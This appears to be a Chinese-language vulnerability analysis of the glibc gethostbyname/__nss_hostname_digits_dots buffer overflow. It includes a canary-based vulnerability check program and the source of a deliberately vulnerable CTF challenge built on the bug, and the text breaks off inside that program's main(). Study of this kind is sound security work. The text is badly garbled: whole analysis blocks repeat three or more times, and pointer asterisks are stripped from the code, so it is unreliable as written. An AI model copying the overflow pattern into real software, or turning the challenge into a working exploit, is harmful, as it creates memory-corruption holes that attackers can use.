gethostbyname函数入口点在inet/gethsbynm.c系列文件中#include <netdb.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#define CANARY "in_the_coal_mine"struct{ char buffer[1024]; char canary[sizeof(CANARY)];} temp = {"buffer", CANARY};int main(void){ struct hostent resbuf; struct hostent result; int herrno; int retval; / strlen (name) = size_needed - sizeof (host_addr) - sizeof (h_addr_ptrs) - 1; / size_t len = sizeof(temp.buffer) - 16 sizeof(unsigned char) - 2 sizeof(char ) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '
源码剖析#include <netdb.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#define CANARY "in_the_coal_mine"struct{ char buffer[1024]; char canary[sizeof(CANARY)];} temp = {"buffer", CANARY};int main(void){ struct hostent resbuf; struct hostent result; int herrno; int retval; / strlen (name) = size_needed - sizeof (host_addr) - sizeof (h_addr_ptrs) - 1; / size_t len = sizeof(temp.buffer) - 16 sizeof(unsigned char) - 2 sizeof(char ) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts("not vulnerable"); exit(EXIT_SUCCESS); } puts("should not happen"); exit(EXIT_FAILURE);}
源码剖析
gethostbyname函数入口点在inet/gethsbynm.c系列文件中
#define LOOKUP_TYPEstruct hostent#define FUNCTION_NAMEgethostbyname#define DATABASE_NAMEhosts#define ADD_PARAMSconst char name#define ADD_VARIABLESname#define BUFLEN1024#define NEED_H_ERRNO1#define HANDLE_DIGITS_DOTS1#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果
nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,如果要解析IP的话就直接结束如果是域名那么后面调用__gethostbyname_r()进行解析
//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义LOOKUP_TYPE FUNCTION_NAME(const char name) //函数定义{ static size_t buffer_size; //静态缓冲区的长度 static LOOKUP_TYPE resbuf; LOOKUP_TYPE result;#ifdef NEED_H_ERRNO int h_errno_tmp = 0;#endif / Get lock. / __libc_lock_lock(lock); if (buffer == NULL) //如果没有缓冲区就自己申请一个 { buffer_size = BUFLEN; buffer = (char )malloc(buffer_size); }#ifdef HANDLE_DIGITS_DOTS if (buffer != NULL) { / - 发生漏洞的函数 - __nss_hostname_digits_dots()先对name进行预处理 - 如果要解析的name便是IP, 那就复制到resbuf中, 然后返回1 - 如果是域名, 那么就复制到resbuf中, 返回0 - 如果返回1, 解释解析的便是IP, 你那么进入done, 解析结束 / if (__nss_hostname_digits_dots(name, //传入的参数: 域名 &resbuf, //解析结果 &buffer, //缓冲区 &buffer_size, //缓冲区大小指针 0, //缓冲区大小 &result, //存放结果的指针 NULL, //存放状态的指针 AF_VAL, //地址族 H_ERRNO_VAR_P //缺点代码 )) goto done; }#endif / DNS域名解析,宏展开 (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) / while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)#ifdef NEED_H_ERRNO && h_errno_tmp == NETDB_INTERNAL#endif ) { char new_buf; buffer_size = 2; new_buf = (char )realloc(buffer, buffer_size); if (new_buf == NULL) { / We are out of memory. Free the current buffer so that the process gets a chance for a normal termination. / free(buffer); __set_errno(ENOMEM); } buffer = new_buf; } if (buffer == NULL) result = NULL;#ifdef HANDLE_DIGITS_DOTSdone:#endif / Release lock. / __libc_lock_unlock(lock);#ifdef NEED_H_ERRNO if (h_errno_tmp != 0) __set_h_errno(h_errno_tmp);#endif return result;}
漏洞函数:nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)这个函数卖力处理name为IP地址的情形, 当name为域名时只是进行一些复制事情name指向要解析的字符串resbuf指向存放解析结果的hostennt构造体buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间
int __nss_hostname_digits_dots(const char name, //要解析的名字 struct hostent resbuf, //存放结果的缓冲区 char buffer, //缓冲区 size_t buffer_size, //缓冲区长度 1K size_t buflen, //0 struct hostent result, //指向结果指针的指针 enum nss_status status, //状态 NULL int af, //地址族 int h_errnop) //缺点代码{ int save; //... / disallow names consisting only of digits/dots, unless they end in a dot. 不许可name只包含数字和点,除非用点结束 / if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号,就判断为IP地址 { const char cp; char hostname; //host_addr是一个指向16个unsignned char数组的指针 typedef unsigned char host_addr_t[16]; host_addr_t host_addr; //h_addr_ptrs便是一个指向两个char数组的指针 typedef char host_addr_list_t[2]; host_addr_list_t h_addr_ptrs; //别名的指针列表 char h_alias_ptr; //须要的空间 size_t size_needed; //根据地址族打算IP地址长度 int addr_size; switch (af) { case AF_INET: //IPV4 addr_size = INADDRSZ; //INADDRSZ=4 break; case AF_INET6: //IPV6 addr_size = IN6ADDRSZ; //IN6ADDRSZ=16 break; default: af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET; addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ; break; } //打算函数运行所须要的缓冲区大小,这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 size_needed = (sizeof(host_addr) + sizeof(h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1 //如果buffer_size指针为空, 并且buflen还不足, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错 if (buffer_size == NULL) { if (buflen < size_needed) { if (h_errnop != NULL) h_errnop = TRY_AGAIN; __set_errno(ERANGE); goto done; } } else if (buffer_size != NULL && buffer_size < size_needed) //如果给的缓冲区不敷,就重新调度buffer空间 { char new_buf; buffer_size = size_needed; //新buffer_size new_buf = (char )realloc(buffer, buffer_size); //就把buffer空间调度到所须要的大小 //分配失落败 if (new_buf == NULL) { save = errno; free(buffer); buffer = NULL; buffer_size = 0; __set_errno(save); if (h_errnop != NULL) h_errnop = TRY_AGAIN; result = NULL; goto done; } buffer = new_buf; //写入新缓冲区 } //缓冲区初始化 memset(buffer, '
判断IP地址的方法很简陋#define LOOKUP_TYPEstruct hostent#define FUNCTION_NAMEgethostbyname#define DATABASE_NAMEhosts#define ADD_PARAMSconst char name#define ADD_VARIABLESname#define BUFLEN1024#define NEED_H_ERRNO1#define HANDLE_DIGITS_DOTS1#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果
nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,如果要解析IP的话就直接结束如果是域名那么后面调用__gethostbyname_r()进行解析//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义LOOKUP_TYPE FUNCTION_NAME(const char name) //函数定义{ static size_t buffer_size; //静态缓冲区的长度 static LOOKUP_TYPE resbuf; LOOKUP_TYPE result;#ifdef NEED_H_ERRNO int h_errno_tmp = 0;#endif / Get lock. / __libc_lock_lock(lock); if (buffer == NULL) //如果没有缓冲区就自己申请一个 { buffer_size = BUFLEN; buffer = (char )malloc(buffer_size); }#ifdef HANDLE_DIGITS_DOTS if (buffer != NULL) { / - 发生漏洞的函数 - __nss_hostname_digits_dots()先对name进行预处理 - 如果要解析的name便是IP, 那就复制到resbuf中, 然后返回1 - 如果是域名, 那么就复制到resbuf中, 返回0 - 如果返回1, 解释解析的便是IP, 你那么进入done, 解析结束 / if (__nss_hostname_digits_dots(name, //传入的参数: 域名 &resbuf, //解析结果 &buffer, //缓冲区 &buffer_size, //缓冲区大小指针 0, //缓冲区大小 &result, //存放结果的指针 NULL, //存放状态的指针 AF_VAL, //地址族 H_ERRNO_VAR_P //缺点代码 )) goto done; }#endif / DNS域名解析,宏展开 (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) / while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)#ifdef NEED_H_ERRNO && h_errno_tmp == NETDB_INTERNAL#endif ) { char new_buf; buffer_size = 2; new_buf = (char )realloc(buffer, buffer_size); if (new_buf == NULL) { / We are out of memory. Free the current buffer so that the process gets a chance for a normal termination. / free(buffer); __set_errno(ENOMEM); } buffer = new_buf; } if (buffer == NULL) result = NULL;#ifdef HANDLE_DIGITS_DOTSdone:#endif / Release lock. / __libc_lock_unlock(lock);#ifdef NEED_H_ERRNO if (h_errno_tmp != 0) __set_h_errno(h_errno_tmp);#endif return result;}
漏洞函数:nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)这个函数卖力处理name为IP地址的情形, 当name为域名时只是进行一些复制事情name指向要解析的字符串resbuf指向存放解析结果的hostennt构造体buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间int __nss_hostname_digits_dots(const char name, //要解析的名字 struct hostent resbuf, //存放结果的缓冲区 char buffer, //缓冲区 size_t buffer_size, //缓冲区长度 1K size_t buflen, //0 struct hostent result, //指向结果指针的指针 enum nss_status status, //状态 NULL int af, //地址族 int h_errnop) //缺点代码{ int save; //... / disallow names consisting only of digits/dots, unless they end in a dot. 不许可name只包含数字和点,除非用点结束 / if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号,就判断为IP地址 { const char cp; char hostname; //host_addr是一个指向16个unsignned char数组的指针 typedef unsigned char host_addr_t[16]; host_addr_t host_addr; //h_addr_ptrs便是一个指向两个char数组的指针 typedef char host_addr_list_t[2]; host_addr_list_t h_addr_ptrs; //别名的指针列表 char h_alias_ptr; //须要的空间 size_t size_needed; //根据地址族打算IP地址长度 int addr_size; switch (af) { case AF_INET: //IPV4 addr_size = INADDRSZ; //INADDRSZ=4 break; case AF_INET6: //IPV6 addr_size = IN6ADDRSZ; //IN6ADDRSZ=16 break; default: af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET; addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ; break; } //打算函数运行所须要的缓冲区大小,这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 size_needed = (sizeof(host_addr) + sizeof(h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1 //如果buffer_size指针为空, 并且buflen还不足, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错 if (buffer_size == NULL) { if (buflen < size_needed) { if (h_errnop != NULL) h_errnop = TRY_AGAIN; __set_errno(ERANGE); goto done; } } else if (buffer_size != NULL && buffer_size < size_needed) //如果给的缓冲区不敷,就重新调度buffer空间 { char new_buf; buffer_size = size_needed; //新buffer_size new_buf = (char )realloc(buffer, buffer_size); //就把buffer空间调度到所须要的大小 //分配失落败 if (new_buf == NULL) { save = errno; free(buffer); buffer = NULL; buffer_size = 0; __set_errno(save); if (h_errnop != NULL) h_errnop = TRY_AGAIN; result = NULL; goto done; } buffer = new_buf; //写入新缓冲区 } //缓冲区初始化 memset(buffer, '\0', size_needed); //对缓冲区进行分割 host_addr = (host_addr_t )buffer; //占用0x10B [buffer, buffer + 0x10) h_addr_ptrs = (host_addr_list_t )((char )host_addr + sizeof(host_addr)); //占用0x10B [buffer + 0x10, buffer + 0x20) //这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 h_alias_ptr = (char )((char )h_addr_ptrs + sizeof(h_addr_ptrs)); //占用0x8B [buffer + 0x20, buffer + 0x28) hostname = (char )h_alias_ptr + sizeof(h_alias_ptr); //占用strlen(name)+1 [buffer + 0x28, buffer + 0x28 + strlen(name) + 1) if (isdigit(name[0])) //IPv4: 开头是数字 { for (cp = name;; ++cp) //遍历name { if (cp == '\0') //如果name结束了 { int ok; if (--cp == '.') //如果是.\0这样的,则造孽 break; //IP地址是字符串表示,转换成网络序列保存在host_addr中, host_addr用的便是函数内部的缓冲区buffer if (af == AF_INET) ok = __inet_aton(name, (struct in_addr )host_addr); else { assert(af == AF_INET6); ok = inet_pton(af, name, host_addr) > 0; } //转换出错 if (!ok) { h_errnop = HOST_NOT_FOUND; if (buffer_size) result = NULL; goto done; } //直接把name复制到hostname中, 用hostname作为结果中的h_name //strcpy从buffer+0x28开始写入strlen(name)+1, 产生溢出 resbuf->h_name = strcpy(hostname, name); //没有别名 h_alias_ptr[0] = NULL; resbuf->h_aliases = h_alias_ptr; //h_addr_list只有一个 (h_addr_ptrs)[0] = (char )host_addr; //地址也是一样的 (h_addr_ptrs)[1] = NULL; resbuf->h_addr_list = h_addr_ptrs; //设置长度与IP地址类型 if (af == AF_INET && (_res.options & RES_USE_INET6)) { //... } else { resbuf->h_addrtype = af; resbuf->h_length = addr_size; } //返回的状态 //... //结束 goto done; } if (!isdigit(cp) && cp != '.') //既不是字母,又不是. 那么就不是合法的IPv4,退出 break; } } if ((isxdigit(name[0]) && strchr(name, ':') != NULL) || name[0] == ':') //IPv6: 开始是hex字符并且包含':'. 或者包含分号 { //... } } return 0;done: return 1;}
判断IP地址的方法很简陋#define LOOKUP_TYPEstruct hostent#define FUNCTION_NAMEgethostbyname#define DATABASE_NAMEhosts#define ADD_PARAMSconst char name#define ADD_VARIABLESname#define BUFLEN1024#define NEED_H_ERRNO1#define HANDLE_DIGITS_DOTS1#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果
nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,如果要解析IP的话就直接结束如果是域名那么后面调用__gethostbyname_r()进行解析//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义LOOKUP_TYPE FUNCTION_NAME(const char name) //函数定义{ static size_t buffer_size; //静态缓冲区的长度 static LOOKUP_TYPE resbuf; LOOKUP_TYPE result;#ifdef NEED_H_ERRNO int h_errno_tmp = 0;#endif / Get lock. / __libc_lock_lock(lock); if (buffer == NULL) //如果没有缓冲区就自己申请一个 { buffer_size = BUFLEN; buffer = (char )malloc(buffer_size); }#ifdef HANDLE_DIGITS_DOTS if (buffer != NULL) { / - 发生漏洞的函数 - __nss_hostname_digits_dots()先对name进行预处理 - 如果要解析的name便是IP, 那就复制到resbuf中, 然后返回1 - 如果是域名, 那么就复制到resbuf中, 返回0 - 如果返回1, 解释解析的便是IP, 你那么进入done, 解析结束 / if (__nss_hostname_digits_dots(name, //传入的参数: 域名 &resbuf, //解析结果 &buffer, //缓冲区 &buffer_size, //缓冲区大小指针 0, //缓冲区大小 &result, //存放结果的指针 NULL, //存放状态的指针 AF_VAL, //地址族 H_ERRNO_VAR_P //缺点代码 )) goto done; }#endif / DNS域名解析,宏展开 (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) / while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)#ifdef NEED_H_ERRNO && h_errno_tmp == NETDB_INTERNAL#endif ) { char new_buf; buffer_size = 2; new_buf = (char )realloc(buffer, buffer_size); if (new_buf == NULL) { / We are out of memory. Free the current buffer so that the process gets a chance for a normal termination. / free(buffer); __set_errno(ENOMEM); } buffer = new_buf; } if (buffer == NULL) result = NULL;#ifdef HANDLE_DIGITS_DOTSdone:#endif / Release lock. / __libc_lock_unlock(lock);#ifdef NEED_H_ERRNO if (h_errno_tmp != 0) __set_h_errno(h_errno_tmp);#endif return result;}
漏洞函数:nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)这个函数卖力处理name为IP地址的情形, 当name为域名时只是进行一些复制事情name指向要解析的字符串resbuf指向存放解析结果的hostennt构造体buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间int __nss_hostname_digits_dots(const char name, //要解析的名字 struct hostent resbuf, //存放结果的缓冲区 char buffer, //缓冲区 size_t buffer_size, //缓冲区长度 1K size_t buflen, //0 struct hostent result, //指向结果指针的指针 enum nss_status status, //状态 NULL int af, //地址族 int h_errnop) //缺点代码{ int save; //... / disallow names consisting only of digits/dots, unless they end in a dot. 不许可name只包含数字和点,除非用点结束 / if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号,就判断为IP地址 { const char cp; char hostname; //host_addr是一个指向16个unsignned char数组的指针 typedef unsigned char host_addr_t[16]; host_addr_t host_addr; //h_addr_ptrs便是一个指向两个char数组的指针 typedef char host_addr_list_t[2]; host_addr_list_t h_addr_ptrs; //别名的指针列表 char h_alias_ptr; //须要的空间 size_t size_needed; //根据地址族打算IP地址长度 int addr_size; switch (af) { case AF_INET: //IPV4 addr_size = INADDRSZ; //INADDRSZ=4 break; case AF_INET6: //IPV6 addr_size = IN6ADDRSZ; //IN6ADDRSZ=16 break; default: af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET; addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ; break; } //打算函数运行所须要的缓冲区大小,这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 size_needed = (sizeof(host_addr) + sizeof(h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1 //如果buffer_size指针为空, 并且buflen还不足, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错 if (buffer_size == NULL) { if (buflen < size_needed) { if (h_errnop != NULL) h_errnop = TRY_AGAIN; __set_errno(ERANGE); goto done; } } else if (buffer_size != NULL && buffer_size < size_needed) //如果给的缓冲区不敷,就重新调度buffer空间 { char new_buf; buffer_size = size_needed; //新buffer_size new_buf = (char )realloc(buffer, buffer_size); //就把buffer空间调度到所须要的大小 //分配失落败 if (new_buf == NULL) { save = errno; free(buffer); buffer = NULL; buffer_size = 0; __set_errno(save); if (h_errnop != NULL) h_errnop = TRY_AGAIN; result = NULL; goto done; } buffer = new_buf; //写入新缓冲区 } //缓冲区初始化 memset(buffer, '\0', size_needed); //对缓冲区进行分割 host_addr = (host_addr_t )buffer; //占用0x10B [buffer, buffer + 0x10) h_addr_ptrs = (host_addr_list_t )((char )host_addr + sizeof(host_addr)); //占用0x10B [buffer + 0x10, buffer + 0x20) //这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 h_alias_ptr = (char )((char )h_addr_ptrs + sizeof(h_addr_ptrs)); //占用0x8B [buffer + 0x20, buffer + 0x28) hostname = (char )h_alias_ptr + sizeof(h_alias_ptr); //占用strlen(name)+1 [buffer + 0x28, buffer + 0x28 + strlen(name) + 1) if (isdigit(name[0])) //IPv4: 开头是数字 { for (cp = name;; ++cp) //遍历name { if (cp == '\0') //如果name结束了 { int ok; if (--cp == '.') //如果是.\0这样的,则造孽 break; //IP地址是字符串表示,转换成网络序列保存在host_addr中, host_addr用的便是函数内部的缓冲区buffer if (af == AF_INET) ok = __inet_aton(name, (struct in_addr )host_addr); else { assert(af == AF_INET6); ok = inet_pton(af, name, host_addr) > 0; } //转换出错 if (!ok) { h_errnop = HOST_NOT_FOUND; if (buffer_size) result = NULL; goto done; } //直接把name复制到hostname中, 用hostname作为结果中的h_name //strcpy从buffer+0x28开始写入strlen(name)+1, 产生溢出 resbuf->h_name = strcpy(hostname, name); //没有别名 h_alias_ptr[0] = NULL; resbuf->h_aliases = h_alias_ptr; //h_addr_list只有一个 (h_addr_ptrs)[0] = (char )host_addr; //地址也是一样的 (h_addr_ptrs)[1] = NULL; resbuf->h_addr_list = h_addr_ptrs; //设置长度与IP地址类型 if (af == AF_INET && (_res.options & RES_USE_INET6)) { //... } else { resbuf->h_addrtype = af; resbuf->h_length = addr_size; } //返回的状态 //... //结束 goto done; } if (!isdigit(cp) && cp != '.') //既不是字母,又不是. 那么就不是合法的IPv4,退出 break; } } if ((isxdigit(name[0]) && strchr(name, ':') != NULL) || name[0] == ':') //IPv6: 开始是hex字符并且包含':'. 或者包含分号 { //... } } return 0;done: return 1;}
判断IP地址的方法很简陋#define LOOKUP_TYPEstruct hostent#define FUNCTION_NAMEgethostbyname#define DATABASE_NAMEhosts#define ADD_PARAMSconst char name#define ADD_VARIABLESname#define BUFLEN1024#define NEED_H_ERRNO1#define HANDLE_DIGITS_DOTS1#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果
nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,如果要解析IP的话就直接结束如果是域名那么后面调用__gethostbyname_r()进行解析//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义LOOKUP_TYPE FUNCTION_NAME(const char name) //函数定义{ static size_t buffer_size; //静态缓冲区的长度 static LOOKUP_TYPE resbuf; LOOKUP_TYPE result;#ifdef NEED_H_ERRNO int h_errno_tmp = 0;#endif / Get lock. / __libc_lock_lock(lock); if (buffer == NULL) //如果没有缓冲区就自己申请一个 { buffer_size = BUFLEN; buffer = (char )malloc(buffer_size); }#ifdef HANDLE_DIGITS_DOTS if (buffer != NULL) { / - 发生漏洞的函数 - __nss_hostname_digits_dots()先对name进行预处理 - 如果要解析的name便是IP, 那就复制到resbuf中, 然后返回1 - 如果是域名, 那么就复制到resbuf中, 返回0 - 如果返回1, 解释解析的便是IP, 你那么进入done, 解析结束 / if (__nss_hostname_digits_dots(name, //传入的参数: 域名 &resbuf, //解析结果 &buffer, //缓冲区 &buffer_size, //缓冲区大小指针 0, //缓冲区大小 &result, //存放结果的指针 NULL, //存放状态的指针 AF_VAL, //地址族 H_ERRNO_VAR_P //缺点代码 )) goto done; }#endif / DNS域名解析,宏展开 (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) / while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)#ifdef NEED_H_ERRNO && h_errno_tmp == NETDB_INTERNAL#endif ) { char new_buf; buffer_size = 2; new_buf = (char )realloc(buffer, buffer_size); if (new_buf == NULL) { / We are out of memory. Free the current buffer so that the process gets a chance for a normal termination. / free(buffer); __set_errno(ENOMEM); } buffer = new_buf; } if (buffer == NULL) result = NULL;#ifdef HANDLE_DIGITS_DOTSdone:#endif / Release lock. / __libc_lock_unlock(lock);#ifdef NEED_H_ERRNO if (h_errno_tmp != 0) __set_h_errno(h_errno_tmp);#endif return result;}
漏洞函数:nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)这个函数卖力处理name为IP地址的情形, 当name为域名时只是进行一些复制事情name指向要解析的字符串resbuf指向存放解析结果的hostennt构造体buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间int __nss_hostname_digits_dots(const char name, //要解析的名字 struct hostent resbuf, //存放结果的缓冲区 char buffer, //缓冲区 size_t buffer_size, //缓冲区长度 1K size_t buflen, //0 struct hostent result, //指向结果指针的指针 enum nss_status status, //状态 NULL int af, //地址族 int h_errnop) //缺点代码{ int save; //... / disallow names consisting only of digits/dots, unless they end in a dot. 不许可name只包含数字和点,除非用点结束 / if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号,就判断为IP地址 { const char cp; char hostname; //host_addr是一个指向16个unsignned char数组的指针 typedef unsigned char host_addr_t[16]; host_addr_t host_addr; //h_addr_ptrs便是一个指向两个char数组的指针 typedef char host_addr_list_t[2]; host_addr_list_t h_addr_ptrs; //别名的指针列表 char h_alias_ptr; //须要的空间 size_t size_needed; //根据地址族打算IP地址长度 int addr_size; switch (af) { case AF_INET: //IPV4 addr_size = INADDRSZ; //INADDRSZ=4 break; case AF_INET6: //IPV6 addr_size = IN6ADDRSZ; //IN6ADDRSZ=16 break; default: af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET; addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ; break; } //打算函数运行所须要的缓冲区大小,这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 size_needed = (sizeof(host_addr) + sizeof(h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1 //如果buffer_size指针为空, 并且buflen还不足, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错 if (buffer_size == NULL) { if (buflen < size_needed) { if (h_errnop != NULL) h_errnop = TRY_AGAIN; __set_errno(ERANGE); goto done; } } else if (buffer_size != NULL && buffer_size < size_needed) //如果给的缓冲区不敷,就重新调度buffer空间 { char new_buf; buffer_size = size_needed; //新buffer_size new_buf = (char )realloc(buffer, buffer_size); //就把buffer空间调度到所须要的大小 //分配失落败 if (new_buf == NULL) { save = errno; free(buffer); buffer = NULL; buffer_size = 0; __set_errno(save); if (h_errnop != NULL) h_errnop = TRY_AGAIN; result = NULL; goto done; } buffer = new_buf; //写入新缓冲区 } //缓冲区初始化 memset(buffer, '\0', size_needed); //对缓冲区进行分割 host_addr = (host_addr_t )buffer; //占用0x10B [buffer, buffer + 0x10) h_addr_ptrs = (host_addr_list_t )((char )host_addr + sizeof(host_addr)); //占用0x10B [buffer + 0x10, buffer + 0x20) //这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 h_alias_ptr = (char )((char )h_addr_ptrs + sizeof(h_addr_ptrs)); //占用0x8B [buffer + 0x20, buffer + 0x28) hostname = (char )h_alias_ptr + sizeof(h_alias_ptr); //占用strlen(name)+1 [buffer + 0x28, buffer + 0x28 + strlen(name) + 1) if (isdigit(name[0])) //IPv4: 开头是数字 { for (cp = name;; ++cp) //遍历name { if (cp == '\0') //如果name结束了 { int ok; if (--cp == '.') //如果是.\0这样的,则造孽 break; //IP地址是字符串表示,转换成网络序列保存在host_addr中, host_addr用的便是函数内部的缓冲区buffer if (af == AF_INET) ok = __inet_aton(name, (struct in_addr )host_addr); else { assert(af == AF_INET6); ok = inet_pton(af, name, host_addr) > 0; } //转换出错 if (!ok) { h_errnop = HOST_NOT_FOUND; if (buffer_size) result = NULL; goto done; } //直接把name复制到hostname中, 用hostname作为结果中的h_name //strcpy从buffer+0x28开始写入strlen(name)+1, 产生溢出 resbuf->h_name = strcpy(hostname, name); //没有别名 h_alias_ptr[0] = NULL; resbuf->h_aliases = h_alias_ptr; //h_addr_list只有一个 (h_addr_ptrs)[0] = (char )host_addr; //地址也是一样的 (h_addr_ptrs)[1] = NULL; resbuf->h_addr_list = h_addr_ptrs; //设置长度与IP地址类型 if (af == AF_INET && (_res.options & RES_USE_INET6)) { //... } else { resbuf->h_addrtype = af; resbuf->h_length = addr_size; } //返回的状态 //... //结束 goto done; } if (!isdigit(cp) && cp != '.') //既不是字母,又不是. 那么就不是合法的IPv4,退出 break; } } if ((isxdigit(name[0]) && strchr(name, ':') != NULL) || name[0] == ':') //IPv6: 开始是hex字符并且包含':'. 或者包含分号 { //... } } return 0;done: return 1;}
判断IP地址的方法很简陋
图示:

因此把hostname复制过去,在这里产生了溢出8B
函数的数据构造:题目解析题目源码//gcc pwn.c -g -o pwn#include <stdio.h>#include <netdb.h>#include <stdlib.h>#include <arpa/inet.h>#define MAX 16struct hostent HostArr[MAX];char BufferArr[MAX];char NameArr[MAX];int Menu(void){ puts("1.InputName"); puts("2.ShowHost"); puts("3.Delete"); puts("4.Exit"); printf(">>"); int cmd; scanf("%d", &cmd); return cmd;}void InputName(void){ //read idx int idx; printf("idx:"); scanf("%d", &idx); if(idx<0 || idx>=MAX) exit(0); //alloc name buf int len; printf("len:"); scanf("%d", &len); NameArr[idx] = malloc(len+1); if(NameArr[idx]==NULL) exit(0); //read name int i; for(i=0; i<len; i++) { char C; read(0, &C, 1); NameArr[idx][i] = C; if(NameArr[idx][i]=='\n') break; } NameArr[idx][i]='\0'; //allloc buffer int buffer_size = 0x20+len+1; BufferArr[idx] = malloc(buffer_size); //get host by name HostArr[idx] = malloc(sizeof(struct hostent)); struct hostent res; int herrno; gethostbyname_r(NameArr[idx], HostArr[idx], BufferArr[idx], buffer_size, &res, &herrno);}void ShowHost(void){ //read idx int idx; printf("idx:"); scanf("%d", &idx); if(idx<0 || idx>=MAX) exit(0); struct hostent host = HostArr[idx]; //host name if(host->h_name!=NULL) printf("%s\n", host->h_name); //IP if(host->h_addr_list!=NULL) for(int i=0; host->h_addr_list[i]!=NULL; i++){ char ip = host->h_addr_list[i]; printf("%s\n", ip); }}void Delete(void){ //read idx int idx; printf("idx:"); scanf("%d", &idx); if(idx<0 || idx>=MAX) exit(0); free(NameArr[idx]); NameArr[idx]=NULL; free(BufferArr[idx]); BufferArr[idx]=NULL; free(HostArr[idx]); HostArr[idx]=NULL;}int main(int argc, char argv){ setbuf(stdin, NULL); 